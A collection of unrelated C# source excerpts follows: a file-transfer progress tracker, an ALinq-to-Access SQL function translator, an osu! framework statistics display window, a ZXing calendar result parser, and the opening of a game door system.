public void AddProgress(TransferProgressTracker progressTracker)
{
this.AddBytesTransferred(progressTracker.BytesTransferred);
this.AddNumberOfFilesFailed(progressTracker.NumberOfFilesFailed);
this.AddNumberOfFilesSkipped(progressTracker.NumberOfFilesSkipped);
this.AddNumberOfFilesTransferred(progressTracker.NumberOfFilesTransferred);
}
/// <summary>
/// Gets a copy of this transfer progress tracker object.
/// </summary>
/// <returns>A copy of current TransferProgressTracker object</returns>
public TransferProgressTracker Copy()
{
return new TransferProgressTracker(this);
}
/// <summary>
/// Serializes transfer progress.
/// </summary>
/// <param name="info">Serialization info object.</param>
/// <param name="context">Streaming context.</param>
public virtual void GetObjectData(SerializationInfo info, StreamingContext context)
{
if (info == null)
{
throw new ArgumentNullException("info");
}
info.AddValue(BytesTransferredName, this.BytesTransferred);
info.AddValue(FilesTransferredName, this.NumberOfFilesTransferred);
info.AddValue(FilesSkippedName, this.NumberOfFilesSkipped);
info.AddValue(FilesFailedName, this.NumberOfFilesFailed);
}
private void InvokeProgressHandler()
{
if (this.ProgressHandler != null)
{
if ( 0 == Interlocked.CompareExchange(ref this.invokingProgressHandler, 1, 0))
{
lock (this.ProgressHandler)
{
Interlocked.Exchange(ref this.invokingProgressHandler, 0);
this.ProgressHandler.Report(
new TransferProgress()
{
BytesTransferred = this.BytesTransferred,
NumberOfFilesTransferred = this.NumberOfFilesTransferred,
NumberOfFilesSkipped = this.NumberOfFilesSkipped,
NumberOfFilesFailed = this.NumberOfFilesFailed,
});
}
}
}
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Linq.Expressions;
using System.Text;
using ALinq.Mapping;
using ALinq.SqlClient;
namespace ALinq.Access
{
class AccessSqlFactory : SqlFactory
{
internal AccessSqlFactory(ITypeSystemProvider typeProvider, MetaModel model)
: base(typeProvider, model)
{
}
internal override SqlExpression DATALENGTH(SqlExpression expr)
{
return this.FunctionCall(typeof(int), "LEN", new[] { expr }, expr.SourceExpression);
}
internal override SqlExpression Math_Truncate(SqlMethodCall mc)
{
//var args = new[] { mc.Arguments[0], ValueFromObject(0, false, mc.SourceExpression),
// ValueFromObject(1, false, mc.SourceExpression) };
//return FunctionCall(mc.Method.ReturnType, "TRUNC", mc.Arguments, mc.SourceExpression);
throw SqlClient.Error.MethodHasNoSupportConversionToSql(mc);
}
internal override SqlExpression Math_Atan(SqlMethodCall mc, Expression sourceExpression)
{
return CreateFunctionCallStatic1(typeof(double), "ATN", mc.Arguments, sourceExpression);
}
internal override SqlExpression String_Substring(SqlMethodCall mc)
{
var clrType = mc.Method.ReturnType;
var expressions = new List<SqlExpression>();
var sqlExpression = mc.Object;
expressions.Add(sqlExpression);
var expression = this.Binary(SqlNodeType.Add, mc.Arguments[0], this.ValueFromObject(1, mc.SourceExpression));
expressions.Add((expression));
if (mc.Arguments.Count > 1)
expressions.Add(mc.Arguments[1]);
var node = new SqlFunctionCall(clrType, TypeProvider.From(clrType), "MID", expressions, mc.SourceExpression);
return node;
}
internal override SqlExpression String_IndexOf(SqlMethodCall mc, Expression sourceExpression)
{
if (mc.Arguments.Count == 1)
{
if ((mc.Arguments[0] is SqlValue) && (((SqlValue)mc.Arguments[0]).Value == null))
{
throw Error.ArgumentNull("value");
}
var when = new SqlWhen(this.Binary(SqlNodeType.EQ, this.CLRLENGTH(mc.Arguments[0]), this.ValueFromObject(0, sourceExpression)), this.ValueFromObject(0, sourceExpression));
SqlExpression expression9 = this.Subtract(this.FunctionCall(typeof(int), "INSTR", new[] { mc.Arguments[0], mc.Object }, sourceExpression), 1);
return this.SearchedCase(new[] { when }, expression9, sourceExpression);
}
if (mc.Arguments.Count == 2)
{
if ((mc.Arguments[0] is SqlValue) && (((SqlValue)mc.Arguments[0]).Value == null))
{
throw Error.ArgumentNull("value");
}
if (mc.Arguments[1].ClrType == typeof(StringComparison))
{
throw SqlClient.Error.IndexOfWithStringComparisonArgNotSupported();
}
SqlExpression expression10 = this.Binary(SqlNodeType.EQ, this.CLRLENGTH(mc.Arguments[0]), this.ValueFromObject(0, sourceExpression));
var when2 = new SqlWhen(this.AndAccumulate(expression10, this.Binary(SqlNodeType.LE, this.Add(mc.Arguments[1], 1), this.CLRLENGTH(mc.Object))), mc.Arguments[1]);
SqlExpression expression11 = this.Subtract(this.FunctionCall(typeof(int), "INSTR", new[] { mc.Arguments[0], mc.Object, this.Add(mc.Arguments[1], 1) }, sourceExpression), 1);
return this.SearchedCase(new[] { when2 }, expression11, sourceExpression);
}
if ((mc.Arguments[0] is SqlValue) && (((SqlValue)mc.Arguments[0]).Value == null))
{
throw Error.ArgumentNull("value");
}
if (mc.Arguments[2].ClrType == typeof(StringComparison))
{
throw SqlClient.Error.IndexOfWithStringComparisonArgNotSupported();
}
SqlExpression left = this.Binary(SqlNodeType.EQ, this.CLRLENGTH(mc.Arguments[0]), this.ValueFromObject(0, sourceExpression));
var when3 = new SqlWhen(this.AndAccumulate(left, this.Binary(SqlNodeType.LE, this.Add(mc.Arguments[1], 1), this.CLRLENGTH(mc.Object))), mc.Arguments[1]);
SqlExpression expression13 = this.FunctionCall(typeof(string), "SUBSTRING", new[] { mc.Object, this.ValueFromObject(1, false, sourceExpression), this.Add(new SqlExpression[] { mc.Arguments[1], mc.Arguments[2] }) }, sourceExpression);
SqlExpression @else = this.Subtract(this.FunctionCall(typeof(int), "INSTR",
new[] { mc.Arguments[0], expression13, this.Add(mc.Arguments[1], 1) }, sourceExpression), 1);
return this.SearchedCase(new SqlWhen[] { when3 }, @else, sourceExpression);
}
internal override SqlExpression String_Remove(SqlMethodCall mc)
{
var clrType = mc.Method.ReturnType;
Debug.Assert(clrType == typeof(string));
var startIndex = (int)((SqlValue)mc.Arguments[0]).Value;
var sourceObject = mc.Object;
//var sourceString =
var arg1 = (mc.Object);
var arg2 = (ValueFromObject(startIndex, mc.SourceExpression));
var left = new SqlFunctionCall(typeof(string), TypeProvider.From(typeof(string)), "Left",
new[] { arg1, arg2 }, mc.SourceExpression);
if (mc.Arguments.Count == 2)
{
var count = (int)((SqlValue)mc.Arguments[1]).Value;
//SqlExpression len1 = new SqlFunctionCall(typeof(int), typeProvider.From(typeof(int)), "Len",
// new[] { sourceObject }, dominatingExpression);
//len1 = new SqlBinary(SqlNodeType.Sub, typeof(int), typeProvider.From(typeof(int)), len1,
// VisitExpression(Expression.Constant(startIndex + count)));
SqlExpression len1 = ValueFromObject(startIndex + count, mc.SourceExpression);
SqlExpression len2 = new SqlFunctionCall(typeof(int), TypeProvider.From(typeof(int)), "Len",
new[] { sourceObject }, mc.SourceExpression);
SqlExpression len = new SqlBinary(SqlNodeType.Sub, typeof(int), TypeProvider.From(typeof(int)),
len2, len1);
SqlExpression right = new SqlFunctionCall(typeof(string), TypeProvider.From(typeof(string)),
"Right", new[] { sourceObject, len }, mc.SourceExpression);
var result = new SqlBinary(SqlNodeType.Add, clrType, TypeProvider.From(clrType), left, right);
return result;
}
Debug.Assert(mc.Arguments.Count == 1);
return left;
}
//internal override SqlExpression String_Replace(SqlMethodCall mc)
//{
// if ((mc.Arguments[0] is SqlValue) && (((SqlValue)mc.Arguments[0]).Value == null))
// {
// throw Error.ArgumentNull("old");
// }
// if ((mc.Arguments[1] is SqlValue) && (((SqlValue)mc.Arguments[1]).Value == null))
// {
// throw Error.ArgumentNull("new");
// }
// var clrType = mc.Method.ReturnType;
// var sqlType = TypeProvider.From(clrType);
// Debug.Assert(clrType == typeof(string));
// Debug.Assert(mc.Arguments.Count == 2);
// var sourceObject = ValueFromObject(mc.Object, mc.SourceExpression);
// var oldValue = ValueFromObject(mc.Arguments[0], mc.SourceExpression);
// var newValue = ValueFromObject(mc.Arguments[1], mc.SourceExpression);
// var result = new SqlFunctionCall(clrType, sqlType, "Replace",
// new[] { sourceObject, oldValue, newValue }, mc.SourceExpression);
// return result;
//}
internal override SqlExpression DateTime_Add(SqlMethodCall mc)
{
SqlExpression arg = mc.Arguments[0].NodeType == SqlNodeType.Value
? ValueFromObject(((TimeSpan)((SqlValue)mc.Arguments[0]).Value).Ticks / 10000000, true, mc.SourceExpression)
: Binary(SqlNodeType.Div, mc.Arguments[0],
ValueFromObject(10000000, mc.SourceExpression));
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("s", expr), arg, mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_AddDays(SqlMethodCall mc)
{
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("d", expr), mc.Arguments[0], mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_AddHours(SqlMethodCall mc)
{
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("h", expr), mc.Arguments[0], mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_AddMinutes(SqlMethodCall mc)
{
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("n", expr), mc.Arguments[0], mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_AddMonths(SqlMethodCall mc)
{
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("m", expr), mc.Arguments[0], mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_AddSeconds(SqlMethodCall mc)
{
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("s", expr), mc.Arguments[0], mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_AddYears(SqlMethodCall mc)
{
var expr = mc.SourceExpression;
var args = new[] { ValueFromObject("yyyy", expr), mc.Arguments[0], mc.Object };
return FunctionCall(mc.ClrType, "DATEADD", args, expr);
}
internal override SqlExpression DateTime_Date(SqlMember m, SqlExpression expr)
{
return FunctionCall(expr.ClrType, "DateValue", new[] { expr }, expr.SourceExpression);
}
internal override SqlNode DateTime_TimeOfDay(SqlMember member, SqlExpression expr)
{
var h = DATEPART("Hour", expr);
var m = DATEPART("Minute", expr);
var s = DATEPART("Second", expr);
//var expression11 = DATEPART("MILLISECOND", expr);
h = Multiply(h, 0x861c46800L);
m = Multiply(m, 0x23c34600L);
s = Multiply(s, 0x989680L);
//var expression15 = Multiply(ConvertToBigint(expression11), 0x2710L);
return ConvertTo(typeof(TimeSpan), Add(new[] { h, m, s }));
}
internal override SqlExpression UNICODE(Type clrType, SqlUnary uo)
{
return FunctionCall(clrType, TypeProvider.From(typeof(int)), "ASC", new[] { uo.Operand }, uo.SourceExpression);
}
internal override SqlExpression DATEPART(string partName, SqlExpression expr)
{
var clrType = typeof(int);
var sqlType = TypeProvider.From(clrType);
SqlFunctionCall result;
if (partName == "DayOfYear")
{
var interval = ValueFromObject("y", expr.SourceExpression);
result = FunctionCall(clrType, "DatePart", new[] { interval, expr }, expr.SourceExpression);
}
//else if (partName == "DayOfWek")
//{
// var interval = ValueFromObject("w", expr.SourceExpression);
// result = FunctionCall(clrType, "DatePart", new[] { interval, expr }, expr.SourceExpression);
//}
else
{
result = new SqlFunctionCall(typeof(int), sqlType, partName,//"Date",
new[] { expr }, expr.SourceExpression);
}
return result;
}
internal override SqlExpression DateTime_DayOfWeek(SqlMember m, SqlExpression expr)
{
var clrType = typeof(DayOfWeek);
var sqlType = TypeProvider.From(typeof(int));
var interval = ValueFromObject("w", expr.SourceExpression);
var func = FunctionCall(typeof(int), sqlType, "DatePart", new[] { interval, expr }, expr.SourceExpression);
return new SqlBinary(SqlNodeType.Sub, clrType, sqlType, func, ValueFromObject(1, expr.SourceExpression));
//return Add(func, ValueFromObject(1, expr.SourceExpression));
}
internal override SqlExpression TranslateConvertStaticMethod(SqlMethodCall mc)
{
if (mc.Arguments.Count != 1)
{
return null;
}
var expr = mc.Arguments[0];
Type type;
string funcName;
switch (mc.Method.Name)
{
case "ToBoolean":
type = typeof(bool);
funcName = "CBool";
break;
case "ToDecimal":
type = typeof(decimal);
funcName = "CDec";
break;
case "ToByte":
type = typeof(byte);
funcName = "CInt";
break;
case "ToChar":
type = typeof(char);
funcName = "CStr";
if (expr.SqlType.IsChar)
{
TypeProvider.From(type, 1);
}
break;
case "ToDateTime":
{
var nonNullableType = TypeSystem.GetNonNullableType(expr.ClrType);
if ((nonNullableType != typeof(string)) && (nonNullableType != typeof(DateTime)))
{
throw SqlClient.Error.ConvertToDateTimeOnlyForDateTimeOrString();
}
type = typeof(DateTime);
funcName = "CDate";
break;
}
case "ToDouble":
type = typeof(double);
funcName = "CDbl";
break;
case "ToInt16":
type = typeof(short);
funcName = "CInt";
break;
case "ToInt32":
type = typeof(int);
funcName = "CInt";
break;
case "ToInt64":
type = typeof(long);
funcName = "CLng";
break;
case "ToSingle":
type = typeof(float);
funcName = "CSng";
break;
case "ToString":
type = typeof(string);
funcName = "CStr";
break;
case "ToSByte":
type = typeof(sbyte);
funcName = "CByte";
break;
default:
throw SqlClient.Error.MethodHasNoSupportConversionToSql(mc);
}
if ((TypeProvider.From(type) != expr.SqlType) || ((expr.ClrType == typeof(bool)) && (type == typeof(int))))
{
if (type != typeof(DateTime))
return ConvertTo(type, TypeProvider.From(typeof(decimal)), expr);
return ConvertTo(type, expr);
}
if ((type != expr.ClrType) && (TypeSystem.GetNonNullableType(type) == TypeSystem.GetNonNullableType(expr.ClrType)))
{
return new SqlLift(type, expr, expr.SourceExpression);
}
return expr;
}
internal override MethodSupport GetConvertMethodSupport(SqlMethodCall mc)
{
if ((mc.Method.IsStatic && (mc.Method.DeclaringType == typeof(Convert))) && (mc.Arguments.Count == 1))
{
switch (mc.Method.Name)
{
//case "ToBoolean":
//case "ToDecimal":
//case "ToByte":
//case "ToChar":
//case "ToDouble":
//case "ToInt16":
//case "ToInt32":
//case "ToInt64":
//case "ToSingle":
//case "ToString":
// return MethodSupport.Method;
case "ToDateTime":
if ((mc.Arguments[0].ClrType != typeof(string)) && (mc.Arguments[0].ClrType != typeof(DateTime)))
{
return MethodSupport.MethodGroup;
}
return MethodSupport.Method;
}
}
return MethodSupport.None;
}
internal override MethodSupport GetStringMethodSupport(SqlMethodCall mc)
{
if (mc.Method.DeclaringType == typeof(string))
{
if (mc.Method.IsStatic)
{
if (mc.Method.Name == "Concat")
{
return MethodSupport.Method;
}
}
else
{
switch (mc.Method.Name)
{
case "Contains":
case "StartsWith":
case "EndsWith":
if (mc.Arguments.Count != 1)
{
return MethodSupport.MethodGroup;
}
return MethodSupport.Method;
//case "IndexOf":
//case "LastIndexOf":
// if (mc.Arguments.Count == 2 || mc.Arguments[mc.Arguments.Count - 1].ClrType == typeof(StringComparison))
// return MethodSupport.None;
// if (((mc.Arguments.Count != 1) && (mc.Arguments.Count != 2)) && (mc.Arguments.Count != 3))
// {
// return MethodSupport.MethodGroup;
// }
// return MethodSupport.Method;
//if (((mc.Arguments.Count != 1) && (mc.Arguments.Count != 2)) && (mc.Arguments.Count != 3))
//{
// return MethodSupport.MethodGroup;
//}
//return MethodSupport.Method;
case "Insert":
if (mc.Arguments.Count != 2)
{
return MethodSupport.MethodGroup;
}
return MethodSupport.Method;
case "PadLeft":
case "PadRight":
case "Remove":
case "Substring":
if ((mc.Arguments.Count != 1) && (mc.Arguments.Count != 2))
{
return MethodSupport.MethodGroup;
}
return MethodSupport.Method;
//case "Replace":
// return MethodSupport.Method;
case "Trim":
case "ToLower":
case "ToUpper":
if (mc.Arguments.Count == 0)
{
return MethodSupport.Method;
}
return MethodSupport.MethodGroup;
case "get_Chars":
case "CompareTo":
if (mc.Arguments.Count != 1)
{
return MethodSupport.MethodGroup;
}
return MethodSupport.Method;
}
}
}
return MethodSupport.None;
}
internal override SqlExpression MakeCoalesce(SqlExpression left, SqlExpression right, Type type, Expression sourceExpression)
{
return FunctionCall(type, "IIF", new[] { left, right, left }, sourceExpression);
}
internal override SqlExpression Math_Log10(SqlMethodCall mc)
{
Expression sourceExpression = mc.SourceExpression;
SqlExpression first = this.FunctionCall(typeof(double), "LOG", new[] { mc.Arguments[0] }, sourceExpression);
SqlExpression second = this.FunctionCall(typeof(double), "LOG", new[] { this.ValueFromObject(10, sourceExpression) }, sourceExpression);
return this.Divide(first, second);
}
internal override MethodSupport GetSqlMethodsMethodSupport(SqlMethodCall mc)
{
if (mc.Method.Name == "DateDiffMillisecond")
return MethodSupport.None;
return base.GetSqlMethodsMethodSupport(mc);
}
// Fields
private static readonly string[] dateParts = new[] { "Year", "Month", "Day", "Hour", "Minute", "Second", "Millisecond" };
internal override SqlExpression TranslateSqlMethodsMethod(SqlMethodCall mc)
{
Expression sourceExpression = mc.SourceExpression;
const SqlExpression expression2 = null;
string name = mc.Method.Name;
if (name.StartsWith("DateDiff", StringComparison.Ordinal) && (mc.Arguments.Count == 2))
{
foreach (string str2 in dateParts)
{
if (mc.Method.Name == ("DateDiff" + str2))
{
SqlExpression expression3 = mc.Arguments[0];
SqlExpression expression4 = mc.Arguments[1];
var str3 = str2;
if (str3 == "Day")
str3 = "d";
else if (str3 == "Year")
str3 = "yyyy";
else if (str3 == "Month")
str3 = "m";
else if (str3 == "Hour")
str3 = "h";
else if (str3 == "Minute")
str3 = "n";
else if (str3 == "Second")
str3 = "s";
else if (str3 == "Millisecond")
str3 = "s";
SqlExpression expression5 = this.ValueFromObject(str3, sourceExpression); //new SqlValue(typeof(void), null, str3, sourceExpression);
SqlExpression result = this.FunctionCall(typeof(int), "DATEDIFF", new[] { expression5, expression3, expression4 }, sourceExpression);
if (mc.Method.Name == "DateDiffMillisecond")
result = this.Binary(SqlNodeType.Mul,result,ValueFromObject(1000,sourceExpression));
return result;
}
}
return expression2;
}
if (name == "Like")
{
if (mc.Arguments.Count == 2)
{
return this.Like(mc.Arguments[0], mc.Arguments[1], null, sourceExpression);
}
if (mc.Arguments.Count != 3)
{
return expression2;
}
return this.Like(mc.Arguments[0], mc.Arguments[1], this.ConvertTo(typeof(string), mc.Arguments[2]), sourceExpression);
}
if (name == "RawLength")
{
return DATALENGTH(mc.Arguments[0]);
}
return expression2;
}
}
}
| |
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence.
// See the LICENCE file in the repository root for full licence text.
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using osu.Framework.Allocation;
using osu.Framework.Bindables;
using osu.Framework.Graphics.Containers;
using osu.Framework.Graphics.Sprites;
using osu.Framework.Graphics.Visualisation;
using osu.Framework.Platform;
using osu.Framework.Statistics;
namespace osu.Framework.Graphics.Performance
{
/// <summary>
/// Tracks global game statistics.
/// </summary>
internal class GlobalStatisticsDisplay : ToolWindow
{
private readonly FillFlowContainer<StatisticsGroup> groups;
private DotNetRuntimeListener listener;
private Bindable<bool> performanceLogging;
public GlobalStatisticsDisplay()
: base("Global Statistics", "(Ctrl+F2 to toggle)")
{
ScrollContent.Children = new Drawable[]
{
groups = new AlphabeticalFlow<StatisticsGroup>
{
Padding = new MarginPadding(5),
RelativeSizeAxes = Axes.X,
AutoSizeAxes = Axes.Y,
Direction = FillDirection.Vertical,
},
};
}
[BackgroundDependencyLoader]
private void load(GameHost host)
{
performanceLogging = host.PerformanceLogging.GetBoundCopy();
}
protected override void LoadComplete()
{
base.LoadComplete();
GlobalStatistics.StatisticsChanged += (_, e) =>
{
switch (e.Action)
{
case NotifyCollectionChangedAction.Add:
add(e.NewItems.Cast<IGlobalStatistic>());
break;
case NotifyCollectionChangedAction.Remove:
remove(e.OldItems.Cast<IGlobalStatistic>());
break;
}
};
add(GlobalStatistics.GetStatistics());
State.BindValueChanged(visibilityChanged, true);
}
private void visibilityChanged(ValueChangedEvent<Visibility> state)
{
performanceLogging.Value = state.NewValue == Visibility.Visible;
if (state.NewValue == Visibility.Visible)
{
GlobalStatistics.OutputToLog();
listener = new DotNetRuntimeListener();
}
else
listener?.Dispose();
}
private void remove(IEnumerable<IGlobalStatistic> stats) => Schedule(() =>
{
foreach (var stat in stats)
groups.FirstOrDefault(g => g.GroupName == stat.Group)?.Remove(stat);
});
private void add(IEnumerable<IGlobalStatistic> stats) => Schedule(() =>
{
foreach (var stat in stats)
{
var group = groups.FirstOrDefault(g => g.GroupName == stat.Group);
if (group == null)
groups.Add(group = new StatisticsGroup(stat.Group));
group.Add(stat);
}
});
private class StatisticsGroup : CompositeDrawable, IAlphabeticalSort
{
public string GroupName { get; }
private readonly FillFlowContainer<StatisticsItem> items;
public StatisticsGroup(string groupName)
{
GroupName = groupName;
RelativeSizeAxes = Axes.X;
AutoSizeAxes = Axes.Y;
InternalChildren = new Drawable[]
{
new FillFlowContainer
{
RelativeSizeAxes = Axes.X,
AutoSizeAxes = Axes.Y,
Direction = FillDirection.Vertical,
Children = new Drawable[]
{
new SpriteText
{
Text = GroupName,
Font = FrameworkFont.Regular.With(weight: "Bold")
},
items = new AlphabeticalFlow<StatisticsItem>
{
Padding = new MarginPadding { Left = 5 },
RelativeSizeAxes = Axes.X,
AutoSizeAxes = Axes.Y,
Direction = FillDirection.Vertical,
},
}
},
};
}
public void Add(IGlobalStatistic stat)
{
if (items.Any(s => s.Statistic == stat))
return;
items.Add(new StatisticsItem(stat));
}
public void Remove(IGlobalStatistic stat)
{
items.FirstOrDefault(s => s.Statistic == stat)?.Expire();
}
private class StatisticsItem : CompositeDrawable, IAlphabeticalSort
{
public readonly IGlobalStatistic Statistic;
private readonly SpriteText valueText;
public StatisticsItem(IGlobalStatistic statistic)
{
Statistic = statistic;
RelativeSizeAxes = Axes.X;
AutoSizeAxes = Axes.Y;
InternalChildren = new Drawable[]
{
new SpriteText
{
Font = FrameworkFont.Regular,
Colour = FrameworkColour.Yellow,
Text = Statistic.Name,
RelativeSizeAxes = Axes.X,
Width = 0.68f,
},
valueText = new SpriteText
{
Font = FrameworkFont.Condensed,
RelativePositionAxes = Axes.X,
X = 0.7f,
RelativeSizeAxes = Axes.X,
Width = 0.3f,
},
};
}
public string SortString => Statistic.Name;
protected override void Update()
{
base.Update();
valueText.Text = Statistic.DisplayValue;
}
}
public string SortString => GroupName;
}
private interface IAlphabeticalSort
{
string SortString { get; }
}
private class AlphabeticalFlow<T> : FillFlowContainer<T> where T : Drawable, IAlphabeticalSort
{
public override IEnumerable<Drawable> FlowingChildren => base.FlowingChildren.Cast<T>().OrderBy(d => d.SortString);
}
protected override void Dispose(bool isDisposing)
{
base.Dispose(isDisposing);
listener?.Dispose();
}
}
}
| |
/*
* Copyright 2008 ZXing authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using System;
using System.Globalization;
using System.Text;
using System.Text.RegularExpressions;
namespace ZXing.Client.Result
{
///<author>Sean Owen</author>
public sealed class CalendarParsedResult : ParsedResult
{
private static readonly Regex RFC2445_DURATION = new Regex(@"\A(?:" + "P(?:(\\d+)W)?(?:(\\d+)D)?(?:T(?:(\\d+)H)?(?:(\\d+)M)?(?:(\\d+)S)?)?" + @")\z"
#if !(SILVERLIGHT4 || SILVERLIGHT5 || NETFX_CORE || PORTABLE)
, RegexOptions.Compiled);
#else
);
#endif
private static readonly long[] RFC2445_DURATION_FIELD_UNITS =
{
7*24*60*60*1000L, // 1 week
24*60*60*1000L, // 1 day
60*60*1000L, // 1 hour
60*1000L, // 1 minute
1000L, // 1 second
};
private static readonly Regex DATE_TIME = new Regex(@"\A(?:" + "[0-9]{8}(T[0-9]{6}Z?)?" + @")\z"
#if !(SILVERLIGHT4 || SILVERLIGHT5 || NETFX_CORE || PORTABLE)
, RegexOptions.Compiled);
#else
);
#endif
private readonly String summary;
private readonly DateTime start;
private readonly bool startAllDay;
private readonly DateTime? end;
private readonly bool endAllDay;
private readonly String location;
private readonly String organizer;
private readonly String[] attendees;
private readonly String description;
private readonly double latitude;
private readonly double longitude;
public CalendarParsedResult(String summary,
String startString,
String endString,
String durationString,
String location,
String organizer,
String[] attendees,
String description,
double latitude,
double longitude)
: base(ParsedResultType.CALENDAR)
{
this.summary = summary;
try
{
this.start = parseDate(startString);
}
catch (Exception pe)
{
throw new ArgumentException(pe.ToString());
}
if (endString == null)
{
long durationMS = parseDurationMS(durationString);
end = durationMS < 0L ? null : (DateTime?) start + new TimeSpan(0, 0, 0, 0, (int) durationMS);
}
else
{
try
{
this.end = parseDate(endString);
}
catch (Exception pe)
{
throw new ArgumentException(pe.ToString());
}
}
this.startAllDay = startString.Length == 8;
this.endAllDay = endString != null && endString.Length == 8;
this.location = location;
this.organizer = organizer;
this.attendees = attendees;
this.description = description;
this.latitude = latitude;
this.longitude = longitude;
var result = new StringBuilder(100);
maybeAppend(summary, result);
maybeAppend(format(startAllDay, start), result);
maybeAppend(format(endAllDay, end), result);
maybeAppend(location, result);
maybeAppend(organizer, result);
maybeAppend(attendees, result);
maybeAppend(description, result);
displayResultValue = result.ToString();
}
public String Summary
{
get { return summary; }
}
/// <summary>
/// Gets the start.
/// </summary>
public DateTime Start
{
get { return start; }
}
/// <summary>
/// Determines whether [is start all day].
/// </summary>
/// <returns>if start time was specified as a whole day</returns>
public bool isStartAllDay()
{
return startAllDay;
}
/// <summary>
/// event end <see cref="DateTime"/>, or null if event has no duration
/// </summary>
public DateTime? End
{
get { return end; }
}
/// <summary>
/// Gets a value indicating whether this instance is end all day.
/// </summary>
/// <value>true if end time was specified as a whole day</value>
public bool isEndAllDay
{
get { return endAllDay; }
}
public String Location
{
get { return location; }
}
public String Organizer
{
get { return organizer; }
}
public String[] Attendees
{
get { return attendees; }
}
public String Description
{
get { return description; }
}
public double Latitude
{
get { return latitude; }
}
public double Longitude
{
get { return longitude; }
}
/// <summary>
/// Parses a string as a date. RFC 2445 allows the start and end fields to be of type DATE (e.g. 20081021)
/// or DATE-TIME (e.g. 20081021T123000 for local time, or 20081021T123000Z for UTC).
/// </summary>
/// <param name="when">The string to parse</param>
/// <returns></returns>
/// <exception cref="ArgumentException">if not a date formatted string</exception>
private static DateTime parseDate(String when)
{
if (!DATE_TIME.Match(when).Success)
{
throw new ArgumentException(String.Format("no date format: {0}", when));
}
if (when.Length == 8)
{
// Show only year/month/day
return DateTime.ParseExact(when, buildDateFormat(), CultureInfo.InvariantCulture);
}
else
{
// The when string can be local time, or UTC if it ends with a Z
DateTime date;
if (when.Length == 16 && when[15] == 'Z')
{
date = DateTime.ParseExact(when.Substring(0, 15), buildDateTimeFormat(), CultureInfo.InvariantCulture);
date = TimeZoneInfo.ConvertTime(date, TimeZoneInfo.Local);
}
else
{
date = DateTime.ParseExact(when, buildDateTimeFormat(), CultureInfo.InvariantCulture);
}
return date;
}
}
private static String format(bool allDay, DateTime? date)
{
if (date == null)
{
return null;
}
if (allDay)
return date.Value.ToString("D", CultureInfo.CurrentCulture);
return date.Value.ToString("F", CultureInfo.CurrentCulture);
}
private static long parseDurationMS(String durationString)
{
if (durationString == null)
{
return -1L;
}
var m = RFC2445_DURATION.Match(durationString);
if (!m.Success)
{
return -1L;
}
long durationMS = 0L;
for (int i = 0; i < RFC2445_DURATION_FIELD_UNITS.Length; i++)
{
String fieldValue = m.Groups[i + 1].Value;
if (!String.IsNullOrEmpty(fieldValue))
{
durationMS += RFC2445_DURATION_FIELD_UNITS[i]*Int32.Parse(fieldValue);
}
}
return durationMS;
}
private static string buildDateFormat()
{
//DateFormat format = new SimpleDateFormat("yyyyMMdd", Locale.ENGLISH);
//// For dates without a time, for purposes of interacting with Android, the resulting timestamp
//// needs to be midnight of that day in GMT. See:
//// http://code.google.com/p/android/issues/detail?id=8330
//format.setTimeZone(TimeZone.getTimeZone("GMT"));
//return format;
// not sure how to handle this correctly in .Net
return "yyyyMMdd";
}
private static string buildDateTimeFormat()
{
return "yyyyMMdd'T'HHmmss";
}
}
}
| |
using Content.Shared.Access.Components;
using Content.Shared.Damage;
using Content.Shared.Doors.Components;
using Content.Shared.Examine;
using Content.Shared.Hands.Components;
using Content.Shared.Interaction;
using Content.Shared.Stunnable;
using Robust.Shared.Audio;
using Robust.Shared.GameStates;
using Robust.Shared.Physics;
using Robust.Shared.Physics.Dynamics;
using Robust.Shared.Timing;
using System.Linq;
namespace Content.Shared.Doors.Systems;
public abstract class SharedDoorSystem : EntitySystem
{
[Dependency] private readonly SharedPhysicsSystem _physicsSystem = default!;
[Dependency] private readonly DamageableSystem _damageableSystem = default!;
[Dependency] private readonly SharedStunSystem _stunSystem = default!;
[Dependency] protected readonly IGameTiming GameTiming = default!;
/// <summary>
/// A body must have an intersection percentage larger than this in order to be considered as colliding with a
/// door. Used for safety close-blocking and crushing.
/// </summary>
/// <remarks>
/// The intersection percentage relies on WORLD AABBs. So if this is too small, and the grid is rotated 45
/// degrees, then an entity outside of the airlock may be crushed.
/// </remarks>
public const float IntersectPercentage = 0.2f;
/// <summary>
/// A set of doors that are currently opening, closing, or just queued to open/close after some delay.
/// </summary>
private readonly HashSet<DoorComponent> _activeDoors = new();
public override void Initialize()
{
base.Initialize();
SubscribeLocalEvent<DoorComponent, ComponentInit>(OnInit);
SubscribeLocalEvent<DoorComponent, ComponentRemove>(OnRemove);
SubscribeLocalEvent<DoorComponent, ComponentGetState>(OnGetState);
SubscribeLocalEvent<DoorComponent, ComponentHandleState>(OnHandleState);
SubscribeLocalEvent<DoorComponent, ActivateInWorldEvent>(OnActivate);
SubscribeLocalEvent<DoorComponent, ExaminedEvent>(OnExamine);
SubscribeLocalEvent<DoorComponent, StartCollideEvent>(HandleCollide);
SubscribeLocalEvent<DoorComponent, PreventCollideEvent>(PreventCollision);
}
